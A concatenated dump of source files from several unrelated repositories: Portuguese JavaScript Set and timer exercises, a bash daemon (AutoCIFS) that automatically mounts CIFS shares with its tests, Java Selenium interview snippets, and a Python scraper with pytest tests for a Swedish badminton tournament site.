Set.entries()
Set.forEach()
Set.has()
Set.values() */
console.log('Utilizando o objeto Set');
var meuSet = new Set();
meuSet.add(1); // meuSet [1]
meuSet.add(5); // meuSet [1, 5]
meuSet.add(5); // 5 já foi adicionando, portanto, meuSet [1, 5]
meuSet.add("texto");
var o = { a: 1, b: 2 };
meuSet.add(o);
meuSet.add({ a: 1, b: 2 }); // o está referenciando outro objeto
meuSet.has(1); // true
meuSet.has(3); // false, 3 não foi adicionado ao set (Conjunto)
meuSet.has(5); // true
meuSet.has(Math.sqrt(25)); // true
meuSet.has("Texto".toLowerCase()); // true
meuSet.has(o); // true
meuSet.size; // 5
meuSet.delete(5); // remove 5 do set
meuSet.has(5); // false, 5 já foi removido
meuSet.size; // 4, nós simplesmente removemos um valor
console.log(meuSet) // Set { 1, 'texto', { a: 1, b: 2 }, { a: 1, b: 2 } }
console.log('');
console.log('##################Iterando objetos Set#################################');
for (let item of meuSet) console.log(item); // loga os itens na ordem: 1, "texto"
for (let item of meuSet.keys()) console.log(item); //loga os itens na ordem: 1, "texto"
for (let item of meuSet.values()) console.log(item); // loga os itens na ordem: 1, "texto"
for (let [key, value] of meuSet.entries()) console.log(key);
// a conversão entre Set e Array
var mySet2 = new Set([1, 2, 3, 4]);
var set1 = new Set([1000, 3000, 2500, 1240]);
var set2 = new Set([1000, 3, 2500, 124]);
var mySet3 = [10, 20, 30, 40];
console.log('mySet2.size', mySet2.size); // 4
console.log([...mySet2]); // [1,2,3,4]
console.log([...mySet3]);
var intersection = new Set([...set1].filter(x => set2.has(x)));
console.log('intersection : ', intersection);
// Iterar entradas set com forEach
meuSet.add(document.body);
meuSet.has(document.querySelector("body"));
meuSet.forEach(function (value) {
console.log(value);
});
console.log('');
console.log('');
console.log('###########Implementando operações básicas entre conjuntos');
function isSuperset(set, subset) { //setA 1, 2, 3, 4 setB = 2, 3 => True
for (var elem of subset) {
if (!set.has(elem)) {
return false;
}
}
return true;
}
function uniao(setA, setB) { //setA 1, 2, 3, 4 setC =3, 4, 5, 6 => 1,2,3,4,5,6
var _uniao = new Set(setA);
for (var elem of setB) {
_uniao.add(elem);
}
return _uniao;
}
function interseccao(setA, setB) {
var _interseccao = new Set();
for (var elem of setB) {
if (setA.has(elem)) {
_interseccao.add(elem);
}
}
return _interseccao;
}
function diferencaSimetrica(setA, setB) {
var _diferenca = new Set(setA);
for (var elem of setB) {
if (_diferenca.has(elem)) {
_diferenca.delete(elem);
} else {
_diferenca.add(elem);
}
}
return _diferenca;
}
function diferenca(setA, setB) {
var _diferenca = new Set(setA);
for (var elem of setB) {
_diferenca.delete(elem);
}
return _diferenca;
}
//Exemplos
var setA = new Set([1, 2, 3, 4]),
setB = new Set([2, 3]),
setC = new Set([3, 4, 5, 6]);
console.log('isSuperset :', isSuperset(setA, setB)); // => true
console.log('uniao :', uniao(setA, setC)); // => Set [1, 2, 3, 4, 5, 6]
console.log('interseccao :', interseccao(setA, setC)); // => Set [3, 4]
console.log('diferencaSimetrica :', diferencaSimetrica(setA, setC)); // => Set [1, 2, 5, 6]
console.log('diferenca :', diferenca(setA, setC)); // => Set [1, 2]
console.log('');
console.log('');
console.log('');
console.log('');
console.log('###########Removendo elementos duplicados de um Array');
const numeros = [2, 3, 4, 4, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 5, 32, 3, 4, 5]
console.log([...new Set(numeros)])
console.log('');
console.log('');
console.log('###########Relação com objetos String');
var texto = 'India';
var meuSet = new Set(texto); // Set ['I', 'n', 'd', 'i', 'a']
meuSet.size; // 5
console.log(meuSet);<file_sep>/sequencia-escape/Seção 21 - this/170 setTimeout e setInterval.js
function Livro() {
this.pagina = 1;
setTimeout(function () {
console.log(">>>>>this em escopo função setTimeout:", this);
console.log("Página atual:", this.pagina);
}.bind(this), 1000);
setInterval(function () {
this.pagina++;
console.log(">>>>>this em escopo função setInterval:", this);
console.log("Passando página para:", this.pagina);
}.bind(this), 2000);
parar(function () {
throw new Error("Stopping the function!");
});
}
let objLivro = new Livro; // this é window neste caso porque o escopo
var button = document.getElementById('cadastrar-boot');
button.addEventListener('click', function () {
Livro.parar();
}, false);
|
9650922c07ad2709f10c8a56397bcfa8f28d3838
|
[
"JavaScript"
] | 55
|
JavaScript
|
essadof/exercicios
|
5823276444cc6ce0e0f126cf3c3fac1eb10af54c
|
0c9fc297bc7e06890817aa9c41b6823cee454e46
|
refs/heads/master
|
<repo_name>Barzahlen/autocifs<file_sep>/CHANGELOG.md
# AutoCIFS Changelog
AutoCIFS is a client-side autofs-free CIFS Share Automount-Script, initially designed for Debian or derivates.
The Code can be found at [https://github.com/Barzahlen/autocifs](https://github.com/Barzahlen/autocifs)
## v1.0
- Intitial Version<file_sep>/tests/autocifs_tests.sh
#!/bin/bash
# AutoCIFS v1.0 Tests
# (c) 2012-2016 by <NAME> (<EMAIL>)
# Licensed under the MIT License
testAutoCIFSDefaultParameters() {
# Load AutoCIFS defaults for testing
. etc/default/autocifs
echo -e "\033[35mExecuting 9 Assert-Tests...\033[0m"
echo -e "-> \033[34mChecking default SCRIPTPATH...\033[0m"
assertTrue 'Check default SCRIPTPATH' "[ '${SCRIPTPATH}' == '/usr/local/bin/autocifs.sh' ]"
echo -e "-> \033[34mCheck valid LOGLEVEL values...\033[0m"
assertTrue 'Check valid LOGLEVEL values' "[ $LOGLEVEL -ge 0 -a $LOGLEVEL -le 2 ]"
echo -e "-> \033[34mCheck that FILESERVER is not empty...\033[0m"
assertTrue 'Check that FILESERVER is not empty' "[[ -n $FILESERVER ]]"
echo -e "-> \033[34mCheck valid CIFSVERSCHECK value...\033[0m"
assertTrue 'Check valid CFVERSCHECK value' "[ $CIFSVERSCHECK == 'SMB2' ]"
echo -e "-> \033[34mCheck valid CIFSVERSMOUNT value...\033[0m"
assertTrue 'Check valid CFVERSMOUNT value' "[ $CIFSVERSMOUNT == '2.1' ]"
echo -e "-> \033[34mCheck that INTERVAL is a valid number...\033[0m"
assertTrue 'Check that INTERVAL is a valid number' "[[ ${INTERVAL} =~ ^[0-9]+$ ]]"
echo -e "-> \033[34mCheck that MOUNTS is not empty...\033[0m"
assertTrue 'Check that MOUNTS is not empty' "[ ${#MOUNTS[@]} -ne 0 ]"
echo -e "-> \033[34mCheck the default MOUNTSDELIMITER...\033[0m"
assertTrue 'Check the default MOUNTSDELIMITER' "[ '${MOUNTSDELIMITER}' == '|' ]"
echo -e "-> \033[34mCheck that ACIFSDEP is not empty...\033[0m"
assertTrue 'Check that ACIFSDEP is not empty' "[ ${#ACIFSDEP[@]} -ne 0 ]"
}
. shunit2-2.1.6/src/shunit2
<file_sep>/usr/local/bin/autocifs.sh
#!/usr/bin/env bash
# AutoCIFS v1.0
# (c) 2012-2016 by <NAME> (<EMAIL>)
# Licensed under the MIT License
# Load the configuration file
if [ -f "/etc/default/autocifs" ]; then
. /etc/default/autocifs
else
if [ $LOGLEVEL -ge 1 ]; then logger -t autocifs "Cannot find configuration file. Exiting."; fi
exit 3
fi
# Check the dependencies
check_dependencies() {
param_array=$1[@]
work_array=("${!param_array}")
for CMD in ${work_array[@]}
do
type -p $CMD >/dev/null 2>&1
if [ $? -ne 0 ]; then
echo -e "\e[01;31mSorry, but > $CMD < cannot be found on this machine! Dependencies are not completly met.\e[00m"
logger -t autocifs "Sorry, but > $CMD < cannot be found on this machine! Dependencies are not completly met."
exit 1
fi
done
}
check_dependencies ACIFSDEP
# Write PID to a PIDFILE for later process kill
# The init script handles the kill process and if there`s already a process running
echo $$ > /var/run/autocifs.pid
declare -a MNTPATH
while true; do
# First check if Fileserver is serving CIFS and has some shares
/usr/bin/smbclient -L //"${FILESERVER}" -U "${USERNAME}%${PASSWORD}" -m "${CIFSVERSCHECK}" -g 2>/dev/null | grep "Disk|" >/dev/null
if [ $? -ne 0 ]; then
# First check failed, therefore doing it twice after a second
if [ $LOGLEVEL -ge 1 ]; then logger -t autocifs "Fileserver[${FILESERVER}] seems to be down - Rechecking in a second"; fi
sleep 1
/usr/bin/smbclient -L //"${FILESERVER}" -U "${USERNAME}%${PASSWORD}" -m "${CIFSVERSCHECK}" -g 2>/dev/null | grep "Disk|" >/dev/null
if [ $? -eq 0 ]; then
# Second check was succssful, checking if all CIFS Shares are mounted
if [ $LOGLEVEL -ge 1 ]; then logger -t autocifs "Fileserver[${FILESERVER}] is up"; fi
for MOUNT in ${MOUNTS[@]}; do
# Split the share if it has a different remote and local mountpoint
# Both will be the same if the mountpoints are so too
MNTPATH=( $(echo ${MOUNT//$MOUNTSDELIMITER/ }) )
RMNTPATH=${MNTPATH[0]}
LMNTPATH=${MNTPATH[${#MNTPATH[@]}-1]}
# Let's check if its already mounted
mount | grep -E "^//${FILESERVER}/${RMNTPATH} on .*$" &>/dev/null
if [ $? -ne 0 ]; then
# The actual CIFS Share is not mounted, so it will be done now
if [ $LOGLEVEL -eq 2 ]; then logger -t autocufs "CIFS-Share[${MOUNT}] not mounted - attempting to mount it from: //${FILESERVER}/${MOUNT}"; fi
mount -t cifs //"${FILESERVER}/${RMNTPATH}" ${LMNTPATH} -o "user=${USERNAME},password=${<PASSWORD>},vers=${CIFSVERSMOUNT}"
fi
done
else
# The Fileserver was not reachable two times, unmounting shares which are still mounted
if [ $LOGLEVEL -ge 1 ]; then logger -t autocifs "Fileserver(${FILESERVER}) is down."; fi
for MOUNT in ${MOUNTS[@]}; do
# Split the share if it has a different remote and local mountpoint
# Both will be the same if the mountpoints are so too
MNTPATH=( $(echo ${MOUNT//$MOUNTSDELIMITER/ }) )
RMNTPATH=${MNTPATH[0]}
LMNTPATH=${MNTPATH[${#MNTPATH[@]}-1]}
# Let's check if its already mounted
mount | grep -E "^//${FILESERVER}/${RMNTPATH} on .*$" &>/dev/null
if [ $? -eq 0 ]; then
if [ $LOGLEVEL -ge 1 ]; then logger -t autocifs "Cannot reach ${FILESERVER}, therefore unmounting CIFS-Share[${LMNTPATH}]"; fi
umount -f ${LMNTPATH}
fi
done
fi
else
# First check succeeded, so just checking if all CIFS-Shares are mounted
if [ $LOGLEVEL -eq 2 ]; then logger -t autocifs "Fileserver[${FILESERVER}] is up"; fi
for MOUNT in ${MOUNTS[@]}; do
# Split the share if it has a different remote and local mountpoint
# Both will be the same if the mountpoints are so too
MNTPATH=( $(echo ${MOUNT//$MOUNTSDELIMITER/ }) )
RMNTPATH=${MNTPATH[0]}
LMNTPATH=${MNTPATH[${#MNTPATH[@]}-1]}
# Let's check if its already mounted
mount | grep -E "^//${FILESERVER}/${RMNTPATH} on .*$" &>/dev/null
if [ $? -ne 0 ]; then
# The actual CIFS Share is not mounted, so it will be done now
if [ $LOGLEVEL -eq 2 ]; then logger -t autocifs "CIFS-Share[${MOUNT}] not mounted - attempting to mount it from: //${FILESERVER}/${MOUNT}"; fi
mount -t cifs //"${FILESERVER}/${RMNTPATH}" ${LMNTPATH} -o "user=${USERNAME},password=${<PASSWORD>},vers=${CIFSVERSMOUNT}"
fi
done
fi
# Gone through the check iteration - sleeping now for a while
sleep $INTERVAL
done
|
2b791f29e93e9605a210d59bc9d011d451b4765b
|
[
"Markdown",
"Shell"
] | 3
|
Markdown
|
Barzahlen/autocifs
|
6020ab1294903f464a1d707025317a37dac8c87e
|
99e4c03b95b62983ca252ef5435961f9493216a3
|
refs/heads/master
|
<repo_name>betajaen/TextToAmigaGuide<file_sep>/README.md
Text To AmigaGuide
==================
Version 0.1
Written by <NAME> https://github.com/betajaen
About
-----
Converts all text files (.txt) in a directory to an AmigaGuide.
Text files may contain some very minor markdown-like formatting:
Titles:
The first line of any text file is considered the title of the Node.
Headers:
~~~
# Header 1
## Header 2
### Header 3
~~~
Code Indention:
~~~
Code blocks is indented by at least two spaces, and must
start with an empty line.
~~~
Bold and Underline:
~~~
This is some *bold* text and this is some _underline_ text.
var calc^_result = 2 ^* 2. // For escaping
~~~
Links:
~~~
Please see the [Table of Contents](TOC) these can be also ^[Escaped^].
~~~
Usage
-----
Amiga2Markdown requires .NET Core 3.1 runtimes, so runs on Windows, Linux and MacOS.
It is launched through the console
~~~
TextToAmigaGuide.exe --input inputpath --output Documentation.guide
~~~
<file_sep>/Program.cs
using System;
using System.IO;
using System.Text;
using TextToAmigaGuide;
namespace TextToAmigaGuide
{
partial class Program
{
/// <summary>
/// Converts all text files (.txt) in a directory to an AmigaGuide.
///
/// Text files may contain some very minor markdown-like formatting:
///
/// Titles:
///
/// The first line of any text file is considered the title of the Node.
///
/// Headers:
///
/// # Header 1
/// ## Header 2
/// ### Header 3
///
/// Code Indention:
///
/// Code blocks is indented by at least two spaces, and must
/// start with an empty line.
///
/// Bold and Underline:
///
/// This is some *bold* text and this is some _underline_ text.
///
/// Links:
///
/// Please see the [Table of Contents](TOC) these can be also \[Escaped\].
///
///
/// </summary>
///
/// <param name="input">The path to the directory of markdown files that is to be converted.</param>
/// <param name="output">The name of the output from the conversion.</param>
/// <param name="main">The name of the main page</param>
static void Main(DirectoryInfo input, FileInfo output, string main = "MAIN")
{
if (input == null)
{
input = new DirectoryInfo(System.IO.Directory.GetCurrentDirectory());
}
if (output == null)
{
output = new FileInfo(System.IO.Path.Combine(System.IO.Directory.GetCurrentDirectory(), "output.guide"));
}
GuideWriter writer = new GuideWriter();
foreach (var fileInfo in input.EnumerateFiles("*.txt", SearchOption.TopDirectoryOnly))
{
string name = System.IO.Path.GetFileNameWithoutExtension(fileInfo.Name).ToUpper();
if (main.Equals(name, StringComparison.InvariantCultureIgnoreCase))
{
name = "MAIN";
}
Node node = writer.GetNode(name);
string source;
using (StreamReader reader = fileInfo.OpenText())
{
source = reader.ReadToEnd();
}
Render(source, node);
Console.WriteLine($"--> {fileInfo.Name} is {node.Name} \"{node.Title}\"");
}
writer.Save(output);
Console.WriteLine("Saved.");
}
static StringBuilder sb = new StringBuilder();
static string EscapeAndHardwrap(string line)
{
sb.Length = 0;
foreach (var ch in line)
{
if (ch == '@')
sb.Append("\\@");
else if (ch == '\\')
sb.Append("\\\\");
else if (char.IsControl(ch))
{ }
else if (ch > 127)
{ }
else
sb.Append(ch);
}
return sb.ToString();
}
static string Enclose(string line, char pattern, string start, string end)
{
sb.Length = 0;
int isOpen = 0;
bool lastSpace = true;
bool escapeNext = false;
foreach (var ch in line)
{
if (ch == '^')
{
escapeNext = true;
continue;
}
if (escapeNext)
{
if (ch == pattern)
{
sb.Append(ch);
}
else
{
sb.Append('^');
sb.Append(ch);
}
escapeNext = false;
continue;
}
if (ch == pattern)
{
if (isOpen == 0 && lastSpace)
{
isOpen = 1;
sb.Append(start);
}
else if (isOpen == 1)
{
isOpen = 0;
sb.Append(end);
}
else
{
sb.Append(ch);
}
lastSpace = false;
continue;
}
sb.Append(ch);
lastSpace = (ch == ' ');
}
if (isOpen == 1)
{
sb.Append(end);
}
return sb.ToString();
}
static string Link(string line)
{
sb.Length = 0;
int isOpen = 0;
bool escapeNext = false;
bool lastSpace = true;
foreach (var ch in line)
{
if (ch == '^')
{
escapeNext = true;
continue;
}
if (escapeNext)
{
if (ch == '[')
{
sb.Append(ch);
}
else
{
sb.Append('^');
sb.Append(ch);
}
escapeNext = false;
continue;
}
if (lastSpace && ch == '[' && isOpen == 0)
{
sb.Append("@{\"");
isOpen = 1;
lastSpace = true;
continue;
}
else if (ch == ']' && isOpen == 1)
{
sb.Append("\" LINK ");
isOpen = 2;
continue;
}
else if (ch == '(' && isOpen == 2)
{
isOpen = 2;
continue;
}
else if (ch == ')')
{
sb.Append("}");
isOpen = 0;
continue;
}
sb.Append(ch);
lastSpace = (ch == ' ');
}
return sb.ToString();
}
internal static void Render(string source, Node node)
{
int firstNl = source.IndexOf('\n');
node.Title = source.Substring(0, firstNl).Trim();
string text = source.Substring(firstNl + 1).Trim();
StringReader strReader = new StringReader(text);
string line;
Para p = node.Paragraph();
bool hasData = false;
bool codeBlock = false;
bool lastEmpty = true;
while (null != (line = strReader.ReadLine()))
{
line = EscapeAndHardwrap(line);
if (string.IsNullOrWhiteSpace(line))
{
p.Emit("\n");
hasData = true;
lastEmpty = true;
continue;
}
if (line.StartsWith("# "))
{
if (hasData)
p = node.Paragraph();
p.Span(line.Substring(1).Trim(), Colour.None, Colour.None, true, true, true);
p = node.Paragraph();
hasData = false;
lastEmpty = false;
continue;
}
if (line.StartsWith("## "))
{
if (hasData)
p = node.Paragraph();
p.Span(line.Substring(2).Trim(), Colour.None, Colour.None, true, false, true);
p = node.Paragraph();
hasData = false;
lastEmpty = false;
continue;
}
if (line.StartsWith("### "))
{
if (hasData)
p = node.Paragraph();
p.Span(line.Substring(3).Trim(), Colour.None, Colour.None, false, false, true);
p = node.Paragraph();
hasData = false;
lastEmpty = false;
continue;
}
if (line.StartsWith("#### "))
{
if (hasData)
p = node.Paragraph();
p.Span(line.Substring(4).Trim(), Colour.None, Colour.None, false, false, false);
p = node.Paragraph();
hasData = false;
lastEmpty = false;
continue;
}
if (line.StartsWith(" ") && lastEmpty)
{
if (hasData)
p = node.Paragraph();
p.Span(line, Colour.Text, Colour.None, false, false, false);
hasData = true;
codeBlock = true;
continue;
}
if (codeBlock)
{
p = node.Paragraph();
codeBlock = false;
}
line = Link(line);
line = Enclose(line, '_', "@{u}", "@{uu}");
line = Enclose(line, '*', "@{b}", "@{ub}");
p.Emit(line);
p.Emit("\n");
hasData = true;
lastEmpty = false;
}
}
}
}
|
be114e31a40ddc55f6c73cc59c1885298f9ab703
|
[
"Markdown",
"C#"
] | 2
|
Markdown
|
betajaen/TextToAmigaGuide
|
c56242bf6827117af74eaba4bc4531d80aa0bc3a
|
08370d5a238b90616c8765c7066ca2cfd4a9be78
|
refs/heads/master
|
<file_sep>package axis;
import java.util.List;
import java.util.concurrent.TimeUnit;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.support.pagefactory.ByAll;
import io.github.bonigarcia.wdm.WebDriverManager;
public class ByAllClass {
public static void main(String[] args) throws Exception {
WebDriverManager.firefoxdriver().setup();
WebDriver driver = new FirefoxDriver();
driver.manage().timeouts().pageLoadTimeout(20, TimeUnit.SECONDS);
driver.get("file:///home/qualitrix/Desktop/Ajay/Table.html");
By by1=By.xpath("//td[text()='Core Java']");
By by2=By.xpath("//td[text()='Python']");
By by3=By.xpath("//td[text()='Appium']");
ByAll b=new ByAll(by1,by2,by3);
List<WebElement> ele = driver.findElements(b);
for (WebElement e : ele) {
String text = e.getText();
System.out.println(text);
}
driver.close();
}
}
<file_sep>package relative;
import java.util.concurrent.TimeUnit;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.support.locators.RelativeLocator;
import io.github.bonigarcia.wdm.WebDriverManager;
public class RelativeLocatorAbove {
public static void main(String[] args) {
WebDriverManager.firefoxdriver().setup();
WebDriver driver = new FirefoxDriver();
driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
driver.manage().timeouts().pageLoadTimeout(20, TimeUnit.SECONDS);
driver.get("https://www.instagram.com/accounts/login/");
WebElement passwordField = driver.findElement(By.name("password"));
WebElement usernameField = driver.findElement(RelativeLocator.withTagName("input").above(passwordField));
usernameField.sendKeys("<EMAIL>");
}
}
<file_sep>package interview;
import java.util.Scanner;
public class LargestNumber {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.println("Enter First Number");
int first = sc.nextInt();
System.out.println("Enter Second Number");
int second = sc.nextInt();
System.out.println("Enter Third Number");
int third = sc.nextInt();
sc.close();
int largest = first > second ? first : second;
largest = third > largest ? third : largest;
System.out.println("The Largest Number: "+largest);
}
}
<file_sep>package interview;
public class CountCharacterInString {
public static void main(String[] args) {
String str="java programming oops concepts";
int len1=str.length();
int len2=str.replaceAll("p", "").length();
int count=len1-len2;
System.out.println(count);
}
}
<file_sep>package relative;
import java.util.concurrent.TimeUnit;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.support.locators.RelativeLocator;
import io.github.bonigarcia.wdm.WebDriverManager;
public class RelativeLocatorToRightOf {
public static void main(String[] args) {
WebDriverManager.firefoxdriver().setup();
WebDriver driver = new FirefoxDriver();
driver.manage().timeouts().implicitlyWait(30, TimeUnit.MINUTES);
driver.manage().timeouts().pageLoadTimeout(20, TimeUnit.MINUTES);
driver.get("https://demoqa.com/books");
WebElement searchBox = driver.findElement(By.id("searchBox"));
WebElement loginButton = driver.findElement(RelativeLocator.withTagName("button").toRightOf(searchBox));
loginButton.click();
}
}
<file_sep>package interview;
public class MissingElementInArray {
public static void main(String[] args) {
// TODO Auto-generated method stub
int a[]= {1,2,4,5};
int sum1=0,sum2=0;
for (int i = 0; i < a.length; i++) {
sum1=sum1+a[i];
}
System.out.println("Sum of Elements in Array: "+sum1);
for(int i=1;i<=5;i++) {
sum2=sum2+i;
}
System.out.println("Sum of Range: "+sum2);
int missingNumber=sum2-sum1;
System.out.println("missingNumber: "+missingNumber);
}
}
<file_sep>package interview;
import java.util.Random;
public class RandomNumberAndStrings {
public static void main(String[] args) {
Random rand=new Random();
int random=rand.nextInt(1000);
System.out.println(random);
System.out.println(rand.nextDouble());
System.out.println(rand.nextGaussian());
System.out.println(Math.random());
}
}
<file_sep>package axis;
import java.util.concurrent.TimeUnit;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.support.ByIdOrName;
import io.github.bonigarcia.wdm.WebDriverManager;
public class ByIdOrNameClass {
public static void main(String[] args) throws Exception {
WebDriverManager.firefoxdriver().setup();
WebDriver driver = new FirefoxDriver();
driver.manage().timeouts().pageLoadTimeout(20, TimeUnit.SECONDS);
driver.get("file:///home/qualitrix/Desktop/Ajay/xpath.html");
By by1=new ByIdOrName("n2");
WebElement ele = driver.findElement(by1);
ele.sendKeys("ByIdOrName");
Thread.sleep(5000);
driver.close();
}
}
<file_sep>package interview;
public class PalindromeNumber {
public static void main(String[] args) {
// TODO Auto-generated method stub
int number=16461,reversed=0;
int org_num=number;
while(number!=0) {
reversed=reversed*10+number%10;
number=number/10;
}
if (org_num==reversed) {
System.out.println("Number is Palindrome");
} else {
System.out.println("Number is not Palindrome");
}
}
}
<file_sep>package interview;
import java.io.BufferedWriter;
import java.io.FileWriter;
public class WriteDataIntoTextFile {
public static void main(String[] args) throws Exception {
FileWriter fw=new FileWriter("filepath");
BufferedWriter bw=new BufferedWriter(fw);
bw.write("Selenium With Java");
bw.write("Selenium With Python");
bw.write("Selenium With C#");
System.out.println("Finished!!");
bw.close();
}
}
|
34374aab44794c967a302fa1a3b11ad0094a0bf3
|
[
"Java"
] | 10
|
Java
|
kmrajay237/Banks
|
a2e54f33d5dded1310dfc522a8d117a88833ef70
|
335c85bbdfd3b2e33944eda6866192a2101dafe2
|
refs/heads/master
|
<file_sep>python setup.py install
pytest tests/unit_tests -vv -s
<file_sep>[urls]
main = http://badmintonsweden.tournamentsoftware.com/
player_search_url = http://badmintonsweden.tournamentsoftware.com/find/player?q={query}
[url_extensions]
player_tournaments = tournaments
[url_querys]
tournament_year = Year
match_page_date = d
<file_sep># imports
import pytest
# setup
pytest.register_assert_rewrite('tests.unit_tests.utils')
<file_sep># classes
class Score(object):
def __init__(self, sets=[], is_walkover=False):
self.sets = sets
self.is_walkover = is_walkover
class Match(object):
def __init__(
self,
scheduled_time=None,
team1_players=None,
team2_players=None,
team1_seed=None,
team2_seed=None,
score=None,
is_played=True
):
self.scheduled_time = scheduled_time
self.team1_players = team1_players
self.team2_players = team2_players
self.team1_seed = team1_seed
self.team2_seed = team2_seed
self.score = score
self.is_played = is_played
<file_sep># imports
from .utils import get_soup
from .player import Player
import logging
import configparser
# setup
logger = logging.getLogger('badmintonswedenapi')
config = configparser.ConfigParser()
config.read('config.ini')
# functions
def search_player(query):
logger.info('getting players that match query: {}'.format(query))
if len(query) < 2:
return None
url = config['urls']['player_search_url'].format(
query=query
)
soup = get_soup(url)
player_tags = soup.findAll('li', {'class': 'list-ui__item'})
player_data = []
for tag in player_tags:
h4_tag = tag.findAll('h4', {'class': 'media__title'})[0]
a_tag = h4_tag.a
name = a_tag['title']
url = config['urls']['main'] + a_tag['href'][1:-4]
iid = h4_tag.span.text[2:-1]
player = Player(name, url, iid)
player_data.append(player)
return player_data
<file_sep># imports
from badmintonswedenapi.player import Player
import pytest
# tests
@pytest.mark.parametrize('player', [
Player(
name='<NAME>',
url='http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID00876487/', # NOQA
iid='IID00876487'
),
Player(
name='<NAME>',
url='http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID01442289/', # NOQA
iid='IID01442289'
)
])
def test_search_player(player):
results = player.get_non_played_tournaments()
assert results is not None
<file_sep># imports
from .utils import ResponseMock
from .utils import get_match_mock
from .utils import get_player_mock
from .utils import get_score_mock
from .utils import assert_mocks_equals_objects
from badmintonswedenapi.tournament import Tournament
import maya
# tests
class TestTournament(object):
def get_example_tournament(
self,
name='<NAME> SGP 2018',
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=889C8871-C659-4B7E-A630-325459E4EA87', # NOQA
start_date=maya.parse('2018-04-28'),
end_date=maya.parse('2018-04-29')
):
tournament = Tournament(
name=name,
url=url, # NOQA
start_date=start_date,
end_date=end_date
)
return tournament
def test_init(self):
tournament = self.get_example_tournament()
assert tournament.name is not None
assert tournament.url is not None
assert tournament.start_date is not None
assert tournament.end_date is not None
def test_get_all_matches(self, mocker):
def side_effect(value):
expected_urls = [
'http://badmintonsweden.tournamentsoftware.com/sport/matches.aspx?id=889C8871-C659-4B7E-A630-325459E4EA87&d=20180428', # NOQA
'http://badmintonsweden.tournamentsoftware.com/sport/matches.aspx?id=889C8871-C659-4B7E-A630-325459E4EA87&d=20180429' # NOQA
]
if value in expected_urls:
date = value.split('&d=')[1]
mock_path = 'tests/unit_tests/mocks/tournament/{}.html'.format(
date)
return ResponseMock(mock_path)
else:
raise Exception('Invalid URL: {value}, expected: '
'{expected}'.format(value=value,
expected=expected_urls))
mocker.patch(
'requests.get',
side_effect=side_effect
)
tournament = self.get_example_tournament()
matches = tournament.get_all_matches()
mocks = []
to_test = []
# men singles
to_test.append(matches[8])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-04-28 9:30'),
team1_players=[get_player_mock(name='<NAME>')],
team2_players=[get_player_mock(name='<NAME>')],
team1_seed='',
team2_seed='',
score=get_score_mock(sets=[(21, 16), (21, 11)]),
is_played=True
))
# women singles
to_test.append(matches[19])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-04-28 10:00'),
team1_players=[get_player_mock(name='<NAME>')],
team2_players=[get_player_mock(name='<NAME>')],
team1_seed='',
team2_seed='',
score=get_score_mock(sets=[(21, 17), (21, 14)]),
is_played=True
))
# men doubles
to_test.append(matches[25])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-04-28 10:00'),
team1_players=[
get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')
],
team2_players=[
get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')
],
team1_seed='',
team2_seed='',
score=get_score_mock(sets=[(21, 8), (21, 18)]),
is_played=True
))
# women doubles
to_test.append(matches[31])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-04-28 10:30'),
team1_players=[
get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')
],
team2_players=[
get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')
],
score=get_score_mock(sets=[(21, 14), (21, 13)]),
team1_seed='',
team2_seed='',
is_played=True
))
# mixed doubles
# first match
to_test.append(matches[0])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-04-28 9:00'),
team1_players=[
get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')
],
team2_players=[
get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')
],
team1_seed='',
team2_seed='',
score=get_score_mock(sets=[(21, 14), (21, 19)]),
is_played=True
))
# walkover
to_test.append(matches[32])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-04-28 10:30'),
team1_players=[
get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')
],
team2_players=[
get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')
],
team1_seed='',
team2_seed='',
score=get_score_mock(sets=[], is_walkover=True),
is_played=True
))
# injury during match
to_test.append(matches[45])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-04-28 11:30'),
team1_players=[
get_player_mock(name='<NAME>'),
],
team2_players=[
get_player_mock(name='<NAME>'),
],
team1_seed='',
team2_seed='',
score=get_score_mock(sets=[(21, 17), (9, 2)], is_walkover=False),
is_played=True
))
# match with seeded player
to_test.append(matches[38])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-04-28 11:00'),
team1_players=[
get_player_mock(name='<NAME>'),
],
team2_players=[
get_player_mock(name='<NAME>'),
],
team1_seed='1',
team2_seed='',
score=get_score_mock(sets=[(21, 15), (21, 9)]),
is_played=True
))
# last match
to_test.append(matches[-1])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-04-29 14:00'),
team1_players=[
get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>'),
],
team2_players=[
get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>'),
],
team1_seed='1',
team2_seed='2',
score=get_score_mock(sets=[(21, 17), (21, 16)]),
is_played=True
))
# a match
to_test.append(matches[62])
